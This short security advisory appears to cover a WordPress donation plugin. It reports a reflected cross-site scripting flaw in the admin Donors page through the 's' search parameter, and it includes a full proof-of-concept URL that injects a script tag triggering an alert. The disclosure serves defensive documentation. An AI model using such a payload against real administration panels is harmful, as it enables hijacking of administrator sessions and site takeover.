The plugin was affected by a reflected Cross-Site Scripting vulnerability inside of the administration panel, via the āsā GET parameter on the Donors page.
https://example.com/wp-admin/edit.php?s=%22%3E<script>alert(0)</script>&start-date&end-date&form_id=0&action=-1&paged=1&give_action=delete_bulk_donor&orderby=id&order=DESC&action2=-1&post_type=give_forms&page=give-donors&view=donors